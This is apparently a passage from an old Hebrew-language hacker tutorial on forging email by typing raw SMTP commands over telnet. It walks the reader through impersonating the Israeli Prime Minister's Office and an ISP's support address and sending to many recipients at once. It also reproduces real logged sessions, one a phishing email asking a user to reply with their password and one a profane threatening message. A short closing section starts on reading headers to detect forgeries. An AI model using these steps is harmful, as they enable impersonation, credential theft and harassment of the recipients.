‫פורט ‪ 25‬זה דואר יוצא‪ ,‬ולכן אנחנו נתחבר לפורט ‪ .25‬אבל שוב‪ ,‬זה לאו דווקא תמיד ככה‪.‬‬
‫למי שרוצה לדעת למה דווקא פורט ‪ 80‬זה לשרת אינטרנט ולמה דווקא פורט ‪ 25‬לדואר יוצא‪,‬‬
‫אז ככה‪ :‬לכל פרוטוקול אינטרנט יש ‪ ,RFC‬שמגדיר אותו‪ .‬זה לא אומר שכל ‪ RFC‬מגדיר‬
‫פרוטוקול אינטרנט‪.‬‬
‫יש גם ‪ RFC‬על אבטחה‪ ,‬או על תוכנה חדישה בפיתוח‪ ,‬או סתאם הערות על פיתוח טכנולוגיית‬
‫אינטרנט‬
‫כזו או אחרת‪ .‬יש ‪ RFC‬מצחיק‪ ,‬יש ‪ RFC‬דפוק‪ ,‬יש כל מיני‪.‬‬

‫‪RFC = Request For Comments‬‬

‫עכשיו‪ ,‬שם קובעים את הסטנדרטים לכל פרוטוקול‪ .‬ככה כל חברה או תכנתן יחיד יכול לתכנת את‬
‫תוכנת השרת‬
‫או את תוכנת הלקוח שלו לפי אותם החוקים שכל חברה‪/‬תכנתן אחר בעולם ייעשה ולא משנה‬
‫לאיזה מערכת הפעלה‬
‫זה מתוכנת זה יוכל לתקשר עם השרת‪/‬לקוח של האחר‪.‬‬
‫(שרת‪/‬לקוח‪ :‬תוכנת לקוח = אינטרנט אקספלורר לדוגמא | תוכנת שרת = ‪ HTTPD‬לדוגמא [ למי‬
‫שמכיר ] )‬
‫לכן אאוטלוק יכול להתחבר לשרתי דואר על מקינטוש‪ ,‬יוניקס‪ ,‬ווינדוס‪ ,‬נובל וכל מערכת אחרת‬
‫בעצם‪.‬‬
‫לכן שרת הדואר של מיקרוסופט יכול לקבל אימייל מכל תוכנת דואר שבעולם‪.‬‬
‫עכשיו נחזור לזיוף האימייל שלנו‪ .‬הרי הבטחתי לכם מייד אקשן‪.‬‬
‫טוב‪ ,‬תחזרו לחלון הטלנט‪ ,‬ומי שאצלו זה עדיין לא פתוח שייפתח‪ .‬שוב‪ ,‬כדי להיכנס לתוכנת‬
‫הטלנט‬
‫תלחצו על התחל‪ ,‬הפעלה‪ ,‬והקלידו ‪.Telnet‬‬
‫עכשיו‪ ,‬לחצו על תפריט ‪Terminal‬‬
‫בחרו ב ‪Preferences...‬‬
‫ובדקו ש'‪ 'Local Echo‬מסומן‪ .‬אם הוא לא מסומן‪ ,‬סמנו אותו עכשיו‪ ,‬ואז לחצו על ‪.OK‬‬
‫מה שה ‪ Local Echo‬עושה זה שהטקסט שתקלידו לשרת יוצג על המסך שלכם‪ .‬זה חשוב מאוד‪.‬‬
‫עכשיו לחצו על תפריט ‪ Connect‬ובחרו ב ‪Remote System...‬‬
‫כאן ייפתח לכם תיבה שמבקשת פרטים על השרת שברצונכם להתחבר אליו‪.‬‬

‫‪ :Host Name‬הקלידו כאן את כתובת השרת‪ .‬במקרה שלנו ‪mail.hotmail.com‬‬


‫‪ :Port‬כאן מקלידים את הפורט‪ .‬אפשר גם לבחור מהרשימה‪ ,‬אבל היא מצומצמת‪ .‬הקלידו ‪25‬‬
‫‪ :TermType‬באיזה הדמיה לבחור‪ .‬אתם כרגע לא צריכים לדעת מה זה אומר‪ ,‬פשוט בחרו ‪vt100‬‬

‫כעת‪ ,‬לחצו על ‪.Connect‬‬


‫כמו שאתם רואים זה מתחבר לשרת דואר‪.‬‬
‫השרת מציג לנו איזה גרסה הוא‪ ,‬לפעמים את החברה שתכנתה אותו‪ ,‬את השעה‪ ,‬תאריך‪ ,‬או‬
‫לפעמים כלום‪.‬‬
‫זה הכל תלוי בשרת‪ .‬במקרה שלנו זה מציג‪:‬‬
‫‪HotMail )NO UCE( ESMTP server ready at Mon Feb 12 10:59:39 2000-220‬‬
‫‪ESMTP spoken here 220‬‬
‫פחות או יותר‪...‬‬
‫עכשיו‪ ,‬אם השרת לא מקבל ממכם קלט לזמן מסוים (בד"כ כ ‪ 10-30‬שניות)‪ ,‬הוא מנתק את‬
‫החיבור‪.‬‬
‫לכן כנראה תיאלצו להתחבר מחדש לפי ההוראות שנתתי מקודם‪ .‬טוב‪ ,‬אחרי שזה הציג לכם את‬
‫הזבל שלו‪,‬‬
‫הקלידו את השורות הבאות‪:‬‬

‫‪31‬‬
‫‪Helo hacker‬‬
‫‪Mail from: rohm@pmo.gov.il‬‬
‫‪Rcpt to: hacker@hotmail.com‬‬
‫‪data‬‬
‫‪From: IL Goverment‬‬
‫‪Subject: Israel's Goverment is Proud of you‬‬
‫‪Date: Feb 12 2001‬‬

‫‪Hi Hacker‬‬
‫‪The Israeli Goverment is very proud of you‬‬
‫‪You now have the knowledge to forge email, which is real cool‬‬
‫‪And usefull too. Please use it correctly and carefully‬‬

‫‪IL Govermnet‬‬
‫‪.‬‬

‫זהו‪ .‬רק במקום ‪ hacker@hotmail.com‬תכתבו את האימייל שלכם‪.‬‬


‫עוד הערה זה שלחיצה על ה ‪ Backspace‬כדי למחוק תווים לא תעבוד‪ .‬כלומר‪ ,‬זה ייראה כאילו זה‬
‫מוחק אותם‪,‬‬
‫אבל מה שזה בעצם עושה זה מוסיף את זה כמו אות‪ .‬אני לא אסביר עכשיו למה אני מתכוון‪ ,‬רק‬
‫תיזהרו‬
‫לא לטעות בהקלדה‪ ,‬כי לא תוכלו להיעזר ב ‪ .Backspace‬אם אתם טועים‪ ,‬פשוט לחצו על מקש ה‬
‫‪ Enter‬ואז‬
‫הקלידו שוב את מה שרציתם להקליד אבל טעיתם‪ .‬עכשיו כנסו ל ‪ www.hotmail.com‬ותבדקו‬
‫את האימייל שלכם‪.‬‬
‫יהיה שם מכתב מראש הממשלה‪ .‬מגניב או לא מגניב???? (!!!!!!!!!!!!!!!!!‪)Magniv‬‬
‫קראו את המכתב‪ ,‬ואז לחצו על ‪ Reply‬כדי לשלוח לו מכתב בחזרה‪ .‬כמו שתראו‪,‬‬
‫זה יישלח את המכתב חזרה לאימייל האמיתי שלו‪ .‬כלומר למי שאתם שולחים אימייל מזויף‪ ,‬אין‬
‫סיכוי לדעת‬
‫שזה מזויף‪ .‬אלא אם כן הוא קרא את הכתבה הזאת‪ .‬בהמשך‪ ,‬בחלק ‪ 3‬של המדריך הזה‪,‬‬
‫אני אסביר לכם איך לבדוק אם האימייל שקיבלתם מזויף‪.‬‬
‫אבל לפני שאתם קופצים לחלק ‪ ,3‬יש לכם את חלק ‪,2‬‬
‫שמסביר טכנית איך הכל עובד ונותן לכם לשחק עם זה כמה שאתם רוצים‪ .‬עד לפעם הבאה‪,‬‬

‫‪GeHeNoM‬‬

‫‪32‬‬
‫זיוף ‪ - Email‬חלק ‪2‬‬

‫"יונתן הקטן הלך בבוקר אל הגן‪.‬‬


‫הוא טיפס על העץ אפרוחים חיפש‪.‬‬
‫אוי ואבוי לו לשובב‪ .‬חור גדול‬
‫במכנסיו‪ .‬מן העץ התגלגל‪,‬‬
‫ועונשו קיבל‪"...‬‬

‫ברוווווווווווווכים הבאים לחלק השני של המדריך 'זיוף אי מייל'!!!‬


‫בחלק זה‪ ,‬אני אסביר לכם למה ככה זה ככה ואיך עושים את זה ואת זה‪.‬‬
‫אחרי שתגמרו עם החלק הזה‪ ,‬לא רק שתהיו מוכנים לעבור לחלק השלישי והאחרון‪,‬‬
‫אלא גם תוכלו לזייף אימייל לכל שרת דואר שקיים‪ ,‬תוכלו לעשות זאת בעברית‪ ,‬ולהשתמש בזה‬
‫נכון‪,‬‬
‫ולהבין איך הכל עובד ולמה‪ .‬תוכלו לשלוח לכמה אנשים באותו הזמן‪ .‬והכי חשוב ‪ -‬מוטי יחזור‬
‫כבר הביתה‪.‬‬
‫מי זה מוטי? וואלה לא יודע‪ ....‬טוב‪ ,‬נתחיל‪.‬‬

‫}}}‬

‫רוב החומר שתקראו פה נלקח מ '‪ 'RFC 821‬שמגדיר את פרוטוקול ה ‪.SMTP‬‬


‫החומר תורגם לעברית בכדי שתוכלו להבין אותו‪ .‬למרות זאת‪ ,‬אני לא מבטיח‬
‫לכם שום דבר‪ ,‬והתרגום פה נעשה בדרך האישית שלי‪ ,‬והוא בהחלט לא תירגם‬
‫רשמי של ה ‪ .RFC‬אני מאוד ממליץ לכל אלה מכם שיודעים אנגלית לקרוא את ‪.RFC 821‬‬

‫{{{{‬

‫טוב‪ ,‬אז אם כי זה לא נמצא בכל שרת‪ ,‬רוב שרתי הדואר מבקשים שאתם‪,‬‬
‫אלה ששולחים את האימייל‪ ,‬תזדהו‪ .‬זאת כדי שיידעו מי אתם‪ .‬בד"כ כשאתם שולחים‪/‬מקבלים‬
‫אימייל‬
‫הוא עובר דרך יותר משרת אחד‪ .‬כאשר לכל שרת שהוא נשלח השרת שממנו הוא הגיע מזדהה‪,‬‬
‫וכך מי שמקבל את‬
‫האימייל יודע דרך איפה זה עבר‪ .‬זה יכול להיות מאוד יעיל במקרים מסוימים‪ .‬כמובן שזאת לא‬
‫הסיבה‬
‫העיקרית‪ ,‬זאת סתאם הייתה דוגמא שאתם כנראה תשתמשו בה בעתיד‪ .‬בכל מקרה‪ ,‬פקודת‬
‫ההזדהות היא‪:‬‬

‫‪HELO‬‬

‫עכשיו‪ ,‬לא כל השרתים מתייחסים לפקודה באותה צורה‪ .‬יש הרבה שרתים שבכלל לא משתמשים‬
‫בפקודה הזאת‪,‬‬
‫ואם תשלחו להם את הפקודה הם לא יידהו אותה‪ .‬בשרתים אחרים לעומת זאת‪ ,‬הפקודה היא‬
‫חובה‪ ,‬ובלעדיה‪,‬‬
‫לא תוכלו לשלוח את האימייל‪ .‬אצל רוב השרתים‪ ,‬אתם לא חייבים להגיד ‪ ,HELO‬למרות‬
‫שכנראה השרת יעיר‬
‫לכם על כך אבל הוא בכל זאת ייתן לכם לשלוח דרכו את האימייל‪ .‬ככה שתעשו מה שאתם רוצים‪.‬‬
‫אני רק אבהיר‬
‫פה משהו חשוב‪ :‬הפקודה ‪ HELO‬היא לא זאת שגורמת להזדהות‪ .‬כלומר‪ ,‬אם לא תכתבו ‪HELO‬‬
‫זה לא אומר שאתם‬
‫אנונימיים והשרת לא יודע מי אתם‪ .‬הפקודה רק מסמלת את ההזדהות והרבה פעמים ככה השרת‬
‫גם יודע דרך איזה‬

‫‪33‬‬
‫תוכנה שלחו את האימייל או מאיזה דומיין‪ .‬בכל מקרה‪ ,‬אני ממליץ שתשחקו עם זה בדיוק כמו‬
‫עם כל פקודה‬
‫שאני אתן פה‪ .‬אצל ‪ mail.hotmail.com‬לדוגמא‪ ,‬לא רק שתיאלצו לכתוב את הפקודה‪,‬‬
‫אלא גם תצטרכו להגיד מי אתם‪.‬‬
‫דוגמאות‪:‬‬

‫‪HELO Eduction.gov.il‬‬
‫‪HELO walla.co.il‬‬
‫‪HELO hacker‬‬
‫‪HELO FuckYou‬‬
‫‪HELO Ido‬‬

‫טוב‪ .‬רק הערה אחרונה בקשר ל ‪ ,HELO‬אם אתם תוהים למה זאת פקודת הזדהות אם בד"כ‬
‫כותבים רק ‪ HELO‬בלי‬
‫להזדהות‪ ,‬אז ככה‪ ,‬ברגע שאתם כותבים‪:‬‬

‫‪HELO‬‬

‫השרת מגיב ב ‪ Lookup‬שבודק את כתובת המחשב שלכם‪ .‬אבל שוב‪ ,‬זה לא אומר שאם לא תכתבו‬
‫‪ HELO‬שרת הדואר‬
‫לא יידע מי אתם‪....‬‬
‫טוב‪ ,‬אז אחרי ה ‪ HELO‬באה הפקודה הבאה‪.MAIL :‬‬
‫הפקודה ‪ MAIL‬אומרת לשרת שיתחיל עכשיו שליחת אימייל חדש‪ ,‬ויימחק (כמעט) את כל המידע‬
‫שהיה לו עד עכשיו‬
‫על המכתב שעבר‪ ,‬כולל מי יקבל את המכתב‪ ,‬את תוכן המכתב עצמו‪ ,‬את השולח וכו'‪ .‬מקלידים‬
‫את הפקודה‬
‫בצורה הבאה‪:‬‬

‫‪MAIL FROM: sender‬‬

‫כאשר ה ‪ = sender‬כתובת דואר שממנה מי שמקבל את האימייל יקבל את האימייל‪.‬‬


‫לדוגמא‪:‬‬

‫‪MAIL FROM: Yosi@hotmail.com‬‬


‫‪MAIL FROM: shaq@lakers.com‬‬
‫‪MAIL FROM: Omri@netvision.net.il‬‬

‫את הפקודה ‪ MAIL‬השרת מקבל רק פעם אחת‪ .‬ברגע שהשרת קיבל את הפקודה‪ ,‬הוא יגיב עם‬
‫הערה חיובית‬
‫שבאה יחד עם המספר ‪ .250‬כמעט ואף פעם לא יקרה לכם שהשרת לא יחזיר תגובה של ‪250‬‬
‫אחרי פקודת ה ‪.MAIL‬‬
‫זאת מכיוון שהשרת במקרה זה‪ ,‬מקשיב למה שאומרים לו‪ .‬ואם תגידו לו שאתם‬
‫‪ yosi@sdf.sdf.bye.fuck‬הוא‬
‫יקבל זאת‪ .‬כמובן שזה לא נכון לכל שרתי הדואר‪ ,‬אבל אצל רובם זה כך‪ .‬באמת‪ .‬נסו את זה‬
‫בעצמכם‪.‬‬
‫מקסימום הוא יגיד לכם שהדומיין ‪ sdf.sdf.bye.fuck‬לא קיים‪ .‬אבל זה ייקרה לעיתים מאוד‬
‫רחוקות‪..‬‬
‫במקרה וכתבתם‬
‫‪MAIL FROM: Tosi@hotmail.com‬‬
‫במקום‬
‫‪MAIL FROM: Yosi@hotmail.com‬‬
‫פשוט הקלידו מחדש את מה שרציתם‪,‬‬

‫‪34‬‬
‫ומכיוון שאחרי פקודת ה ‪ MAIL‬השרת מוחק את המידע שהיה לו על המכתב‪ ,‬הכתובת החדשה‬
‫והנכונה תתקבל‪ ,‬ולא זאת השגויה‪ .‬רק הערה קטנה‪ ,‬הפקודה ‪ MAIL‬לא נועדה בכדי למחוק את‬
‫המידע‪,‬‬
‫בשביל זה יש פקודה נוספת‪ ...‬אבל תרגישו חופשיים להשתמש בזה בהתחלה כדי לתקן את ה‬
‫‪.MAIL‬‬

‫עכשיו‪ ,‬אחרי ה ‪ MAIL‬מגיע ה ‪ .RPCT‬ה ‪ RCPT‬אומר לשרת מי יהיה זה שיקבל את האימייל‪.‬‬


‫אם השרת מוצא שהכתובת אכן קיימת‪ ,‬הוא מגיב עם הערה חיובית שבאה יחד עם המספר‪...‬‬
‫‪ .250‬אם הוא לא‬
‫מצליח למצוא את הכתובת‪ ,‬הוא מגיב בהערה שלילית יחד עם המספר ‪ .550‬למי שעוד לא שם לב‪,‬‬
‫המספר ‪ 250‬מסמל את התקבלות הפקודה‪ .‬יש עוד מספרים שמסמלים עוד דברים‪ .‬אבל נמשיך‬
‫עם ה ‪.RCPT‬‬
‫את ה ‪ RCPT‬כותבים כך‪:‬‬

‫‪RCPT TO: receiver‬‬

‫כאשר ה ‪ = receiver‬כתובת הדואר של הנמען‪ .‬כלומר הבנאדם שיקבל את האימייל‪.‬‬


‫לדוגמא‪:‬‬

‫‪RCPT TO: daniel@inter.net.il‬‬


‫‪RCPT TO: dana19@hotmail.com‬‬
‫‪RCPT TO: webmaster@yahoo.com‬‬
‫‪RCPT TO: moron@education.gov.il‬‬

‫עכשיו‪ ,‬את הפקודה ‪ RCPT‬אפשר לכתוב ללא הגבלה כמה פעמים שאתם רוצים‪.‬‬
‫וכל זה במכתב יחיד!! לדוגמא הייתם רוצים לשלוח אימייל מזויף‬
‫לכל הלקוחות של בזק בינלאומי בפעם אחת‪ ,‬אתם מתחברים לשרת דואר שלהם ומקלידים משהו‬
‫כזה‪:‬‬

‫‪HELO‬‬
‫‪MAIL FROM: support@bezeqint.net‬‬
‫‪RCPT TO: user1‬‬
‫‪RCPT TO: user2‬‬
‫‪RCPT TO: user3‬‬
‫‪RCPT TO: user4‬‬
‫‪RCPT TO: user5‬‬
‫‪RCPT TO: user6‬‬

‫וכן הלאה‪ ...‬כמובן ש ‪ user1‬עד ‪ user6‬הם סתאם שמות שהמצאתי והם לאו דווקא אמיתיים‪...‬‬
‫אז כמו שאתם רואים אפשר להקליד את הפקודה ‪ RCPT‬אלפי פעמים בכל אימייל‪ .‬עם הפקודה‬
‫‪ MAIL‬לעומת זאת‪,‬‬
‫אי אפשר לעשות את זה‪ .‬אלא תיאלצו לכתוב את כל האימייל מחדש בשביל זה‪ .‬ועכשיו לפקודה‬
‫הבאה שלנו‪,‬‬
‫שהיא ה ‪ .DATA‬פקודת ה ‪ DATA‬מתחילה את המכתב עצמו‪ .‬כלומר בפקודה זו‪ ,‬אנו כותבים את‬
‫המכתב‪.‬‬
‫אחרי שגמרנו‪ ,‬איך אומרים לשרת שגמרנו לכתוב את המכתב? פשוט מקלידים נקודה בשורה‬
‫נפרדת‪.‬‬
‫לדוגמא‪:‬‬

‫‪DATA‬‬
‫‪Hi danny, What's up? I heard you just got‬‬

‫‪35‬‬
‫‪the latest album of 2pac. what shall i say? It sucks‬‬
‫‪I've heard it like a thousand times‬‬
‫‪anyway, enjoy it‬‬
‫‪bye‬‬
‫‪.‬‬

‫ה ‪( .‬נקודה) בסוף מאוד חשובה‪ .‬זה גם הכרחי שהיא תהיה בשורה נפרדת‪.‬‬
‫את המכתב אפשר כמובן גם לכתוב בעברית‪ .‬עוד משהו חשוב‪ ,‬זה שהפקודה ‪ DATA‬כוללת גם את‬
‫הראשים‪.‬‬
‫כלומר את התוספות של המכתב‪ .‬כגון הנושא (או הכותרת אם אתם רוצים)‪ ,‬את התאריך‪,‬‬
‫כתובת‪/‬שם השולח‬
‫ולפעמים גם עוד כמה דברים‪ .‬את הראשים (תוספות) כותבים כך‪:‬‬

‫‪Date: the date goes here‬‬


‫‪From: the sender‬‬
‫‪To: the receiver‬‬
‫‪Subject: subject goes here‬‬

‫לדוגמא‪:‬‬

‫‪DATA‬‬
‫‪Date: 23 Oct 00 11:29:33‬‬
‫‪From: Matrix@walla.co.il‬‬
‫‪To: yanir_br@yahoo.com‬‬
‫‪Subject: Happy Birthday‬‬

‫‪Hi Yanir‬‬
‫‪I Wish you a Happy Birthday‬‬
‫‪Hope you'll enjoy being 15‬‬
‫‪I bought you this real awesome thing‬‬
‫‪You must see it‬‬
‫‪email me back as quick as ya can to matrix@walla.co.il‬‬
‫‪c ya, matrix‬‬
‫‪.‬‬

‫כמו שאתם רואים‪ ,‬יש שורה ריקה המבדילה בין הראשים (תוספות) למכתב עצמו‪ .‬השורה הזאת‬
‫היא הכרחית‪.‬‬
‫עכשיו‪ ,‬את המידע של הראשים (שולח‪ ,‬נושא וכו') אפשר לכתוב גם בעברית‪.‬‬
‫כמו כן אם ב ‪ MAIL‬ציינתם את כתובת השולח‪ ,‬מה שבטוח עשיתם‪ ,‬אז בתוספת ‪ From‬אפשר‬
‫לכתוב‬
‫שם או כינוי במקום כתובת אימייל‪ .‬זה גם מאוד מומלץ לעשות את זה‪ .‬עוד משהו‪,‬‬
‫זה שאת התוכן של ה ‪ Data‬עצמו אפשר גם לכתוב בעברית‪ .‬עכשיו נסיים את זה עם כמה‬
‫אימיילים מזויפים‬
‫ששלחתי‪ .‬דרך אגב‪ ,‬הכל פה אמיתי‪ .‬עשיתי לוגים מיוחד בשביל הטקסט הזה‪ .‬זה הכל הוקלט חי‬
‫מתוכנת הטלנט‪.‬‬
‫בסוף הדוגמאות‪ ,‬אני אראה לכם איך אתם יכולים גם להקליט את הזיופים שלכם‪ ,‬וכך תוכלו‬
‫לעשות עם זה‬
‫מש שאתם רוצים‪ ...‬להראות לחברים‪ ,‬להדפיס‪ ,‬או לא יודע מה‪ ...‬בכל אופן‪ ,‬הנה הדוגמאות‪:‬‬

‫‪smtp.***.com ESMTP CPMTA-3_2_3_0 - NO UCE 220‬‬


‫‪Helo‬‬
‫‪.smtp.***.com Hi-250‬‬

‫‪36‬‬
PIPELINING-250
AUTH=LOGIN-250
8BITMIME 250
Mail from: ***@***.net.il
ok 250
Rcpt to: ***@***.com
ok 250
Data
go ahead 354
Date: 10 Nov 12:31
Subject: Error in I/O section
From: *** support team
To: ***@****.com

!Hello from ***.com


I'm sorry to inform you that there has been an error
in the I/O section of your account database, and this server's
,password information has been temporarily destroyed. We need you
.the *** user, to hit reply and type your password in the subject

,Thank you for your help


.The *** support team
.
ok 973843116 qp 14873 250
quit
smtp.***.com closing connection 221

.‫בכל מקום שאתם רואים '***' זה אומר שמחקתי את מה שהיה ושמתי *** במקום‬
.‫ שולח ונמען‬,‫ החלטתי שעדיף שלא תדעו את שמות השרת‬.‫עשיתי את זה כדי לצנזר‬
‫ מה שעשיתי באימייל הזה זה שלחתי אימייל למשתמש של ספק‬,‫ כמו שאתם רואים‬,‫בכל מקרה‬
,‫מסויים‬
‫ הוא מתבקש‬.‫כאשר הוא חושב שהוא קיבל את האימייל הזה מצוות התמיכה של אותו ספק‬
‫לשלוח את הסיסמא‬
‫ התוכנת דואר‬,‫ כשהוא מגיב עם הסיסמא‬,‫ עכשיו‬.‫שלו בכדי שיוכלו לתקן איזה בעיה בשרת‬
‫אומרת לו שזה‬
.‫ אבל מה שבאמת קורה זה שזה שולח את זה למישהו אחר‬,‫ של אותו ספק‬support team ‫נשלח ל‬
‫זה שולח את זה‬
‫ עכשיו‬.‫שמחתי זה לא עובד ככה בכל שרת דואר‬/‫ אבל לצערי‬.Mail from ‫לכתובת שכתבנו ב‬
:‫לדוגמא הבאה‬

NO UCE( ESMTP server ready at Mon Feb 12 00:24:26 2001( ***-220


ESMTP spoken here 220
helo
HELO requires domain address 501
helo ***.com
Requested mail action okay, completed 250
rcpt to: ***@***.com
Need MAIL before RCPT 503
mail from: webmaster@***.com
Requested mail action okay, completed 250
rcpt to: ***@***.com

37
‫‪invalid address 550‬‬
‫‪rcpt to: ***@***.com‬‬
‫‪Requested action not taken:user account inactive 550‬‬
‫‪rcpt to: ***@***.com‬‬
‫‪Requested mail action okay, completed 250‬‬
‫‪data‬‬
‫‪>Start mail input; end with <CRLF>.<CRLF 354‬‬
‫‪Date: 13 Nov 98 11:05‬‬
‫‪Subject: Fuck You‬‬
‫‪From: ***.com‬‬
‫‪To: ***@***.net‬‬

‫‪.Hi there‬‬
‫‪.You better start shakin you fuckin asshole‬‬
‫‪.You damn jew hater. Fuck it OFF. I took you site down‬‬
‫‪...If you put it back up, I'll take it down again‬‬
‫‪!No Nazis aloud on the net‬‬
‫‪.Suck it you motherfucker‬‬

‫‪.‬‬
‫‪Requested mail action okay, completed 250‬‬
‫‪quit‬‬
‫‪Service closing transmission channel 221‬‬

‫כמו שאתם רואים‪ ,‬באימייל הזה השרת לא הסכים לקבל את פקודת ה ‪ HELO‬שלי‪ ,‬וביקש‬
‫שאכתוב גם דומיין‪.‬‬
‫רק אח"כ הוא נתן לי להמשיך‪ .‬כמו כן‪ ,‬לפני ה ‪ MAIL‬כתבתי ‪ RPCT‬מה שגרם לשרת להגיד לי‬
‫שלפני שאני‬
‫כותב ‪ RCPT‬עלי לכתוב ‪ MAIL‬ורק אחרי זה אוכל לכתוב ‪ .RCPT‬אח"כ‪ ,‬כשכתבתי את ה‬
‫‪ RCPT‬הבא‪ ,‬השרת העיר‬
‫לי שהכתובת אינה תקינה‪ .‬ובניסיון השני הוא העיר לי שהשם משתמש לא קיים‪ .‬רק בניסיון‬
‫השלישי הוא הסכים‪.‬‬
‫כלומר‪ ,‬שרתי הדואר הם בד"כ מאוד ידודיתיים ויש להם יכולת תקשור נוחה יותר‬
‫מאשר לשרתים אחרים כגון ‪ POP‬או ‪ .HTTP‬טוב‪ ,‬עכשיו כמו שהבטחתי מקודם‪ ,‬אני אראה לכם‬
‫איך גם אתם יכולים להקליט את הזיופים שלכם‪.‬‬
‫פיתחו את חלון ה ‪ .Telnet‬למי שלא זוכר‪ ,‬לוחצים על התחל‪ ,‬הפעלה‪ ,‬ואז מקלידים ‪.Telnet‬‬
‫כעת לחצו על תפריט ה ‪ Terminal‬ובחרו ב ‪ .Start Logging‬אתם תתבקשו להקליד את שם הקובץ‬
‫שעליו‬
‫ברצונכם להקליט את הזיוף‪ .‬לדוגמא‪ c:\fake :‬או ‪ .c:\yonatan\hacking\test‬מה שבא לכם‪...‬‬
‫אח"כ תתחברו לשרת הדואר ותעשו מה שאתם רוצים‪( .‬או כל שרת בעצם‪ ,‬לאו דווקא דואר‪)...‬‬
‫כשאתם גומרים ורוצים לסיים את ההקלטה‪ ,‬בחרו ב‪ ,Terminal :‬ואז ‪.Stop Logging‬‬
‫עכשיו סגרו את חלון הטלנט‪ ,‬ופיתחו את הקובץ שעליו הקלטתם‪ .‬לקובץ יהיה סיום של ‪.log‬‬
‫לדוגמא‪:‬‬

‫‪test.log‬‬
‫‪cool.log‬‬
‫‪fuckit.log‬‬

‫וכו'‪.....‬‬
‫זהו‪ .‬רק דבר אחרון לפני שאתם עוברים לחלק השלישי והאחרון‪,‬‬

‫‪38‬‬
‫הרבה שרתים תומכים בפקודה מאוד יעילה‪ ,‬והיא פקודת ‪.HELP‬‬
‫נסו את זה בכמה שרתי דואר שונים‪ .‬שחקו עם זה‪ .‬זה יכול לעזור לכם מאוד לפעמים‪.‬‬

‫מקווה שהבנתם משהו‪,‬‬


‫‪GeHeNoM‬‬

‫‪39‬‬
‫זיוף ‪ - Email‬חלק ‪3‬‬

‫"‪"The Minute that It's Born it Begins to Die ...‬‬


‫( ‪)Marilyn Manson‬‬

‫הגעתם לחלק האחרון של המדריך השלם לזיוף אימייל‪.‬‬


‫אתם לא ממש מוזמנים לפה‪ ,‬אף אחד לא ביקש ממכם לבוא‪ ,‬ואתם גם לא הכי רצויים‪ ,‬אבל אתם‬
‫כאן‪.‬‬
‫אז אם אתם כבר כאן‪ ,‬בואו נתחיל‪ .‬בחלק זה אני אראה לכם פקודות חדשות ושימושיות‪ .‬ואת‬
‫האמת‪,‬‬
‫גם ממש ממש מגניבות‪ .‬חוץ מזה אתם גם תלמדו איך לבדוק אם האימייל שקיבלתם מזויף או‬
‫לא‪ ,‬וגם איך‬
‫לאתר את הזייפן הבן זונה‪ .‬טוב‪ ,‬נתחיל עם הפקודות המיוחדות החדשות‪ .‬אני בטוח שתיהנו‬
‫לשחק אייתם‪.‬‬
‫אני אראה לכם פה ‪ 3‬פקודות מגניבות‪ .‬שלושת הפקודות הם‪:‬‬

‫‪RSET‬‬
‫‪VRFY‬‬
‫‪NOOP‬‬

‫הראשון‪ ,RSET ,‬תפקידו זה לעשות ‪ RESET‬למידע ששלחתם לשרת עד עכשיו‪.‬‬


‫כלומר למחוק הכל‪ .‬לדוגמא‪ ,‬התחלתם זיוף אימייל‪ ,‬הגעתם כמעט לסוף‪ ,‬ופתאום החלטתם שיצא‬
‫חרא ואתם רוצים להתחיל מהתחלה‪ ,‬כל שעליכם לעשות הוא להקליד את הפקודה ‪ RSET‬וזהו‪.‬‬
‫עכשיו אתם יכולים להתחיל מחדש‪ .‬הפקודה הבאה שלנו היא ‪ .VRFY‬מה שפקודת ה ‪VRFY‬‬
‫עושה זה בודקת‬
‫אם משתמש מסויים קיים במערכת‪.‬‬
‫לדוגמא אתם רוצים לדעת אם כתובת האימייל ‪ slut@zahav.net.il‬באמת קיימת‪,‬‬
‫אתם מתחברים לשרת הדואר של אינטרנט זהב‪ ,‬ומקלידים‪:‬‬

‫‪VRFY slut‬‬

‫השרת יגיד לכם אם החשבון ‪ slut‬אכן קיים או לא‪ .‬זה יכול להיות מאוד מאוד יעיל במקרים‬
‫מסוימים‪,‬‬
‫אך בד"כ משתמשים בזה חברות מסחריות שרוצות לשלוח לכם מליון‬
‫פרסומות מעצבנות כי הם חושבים שהם ירוויחו מזה כסף ולא קולטים‬
‫שהם סתאם מעצבנים וגורמים לנו לשנוא אותם ואת המוצרים המחורבנים שלהם‪.‬‬
‫טוב‪ ,‬לפקודה הבאה והאחרונה‪ .‬הפקודה ‪ NOOP‬היא פקודה שתפקידה לעשות‪ ....‬כלום‪.‬‬
‫הפקודה ‪ NOOP‬לא עושה כלום‪ .‬זה מה שמיוחד ומגניב בא‪ .‬תנסו בעצמכם‪ .‬מומלץ מאוד‪.‬‬
‫הפקודה‬
‫קיימת בהרבה מאוד שרתי דואר‪ .‬אז למה היא קיימת אם היא לא עושה כלום? כי את האמת היא‬
‫כן עושה משהו‪...‬‬
‫רק לא משהו שממש נראה לעין‪ .‬היא פשוט מאוד נקלטת לשרת‪ ,‬ובד"כ גם מחזירה פלט אל מסך‬
‫המחשב שלכם האומר‬
‫שהפקודה נקלטה‪ ,‬התקבלה וכו'‪ .‬כלומר‪ ,‬זה יכול להיות יעיל כדי לבדוק שהחיבור בסדר‪ ,‬או‬
‫סתאם את מהירות‬
‫תגובת שרת הדואר וכל מיני שטויות כאלה‪...‬‬

‫גילוי אימייל מזויף ואיתור הבן זונה‬


‫עכשיו נגיד קיבלתם אימייל והוא נראה לכם חשוד‪ .‬איך בודקים בוודאות?‬
‫מסתכלים בראשים (‪ )Headers‬של המכתב‪ .‬איך עושים את זה? זה קצת שונה עם כל תוכנה‪,‬‬

‫‪40‬‬
‫אבל תחפשו את האופציה באפשרויות (‪ )Settings‬של תוכנת הדואר שלכם‪ .‬כנ"ל גם לאלה‬
‫שהאימייל שלהם‬
‫הוא ‪ .web based email‬כלומר שהאימייל שלהם הוא ב ‪ Newmail‬או ‪ Hotmail‬וכו'‪ .‬עכשיו‪,‬‬
‫אחרי ששיניתם‬
‫את ההגדרות של תוכנת הדואר שלכם להראות את ה ‪ Headers‬של כל אימייל‪ ,‬עיברו לקריאת‬
‫האימייל שנראה לכם‬
‫חשוד‪ ,‬והתבוננו ב ‪ .Headers‬אם זו הפעם הראשונה שאתם עושים זאת‪ ,‬סביר להניח שזה ייראה‬
‫לכם כמו סתאם‬
‫שטויות באנגלית‪ .‬אבל זה בעצם אינפורמציה יעילה שיכולה לעזור לכם‪.‬‬
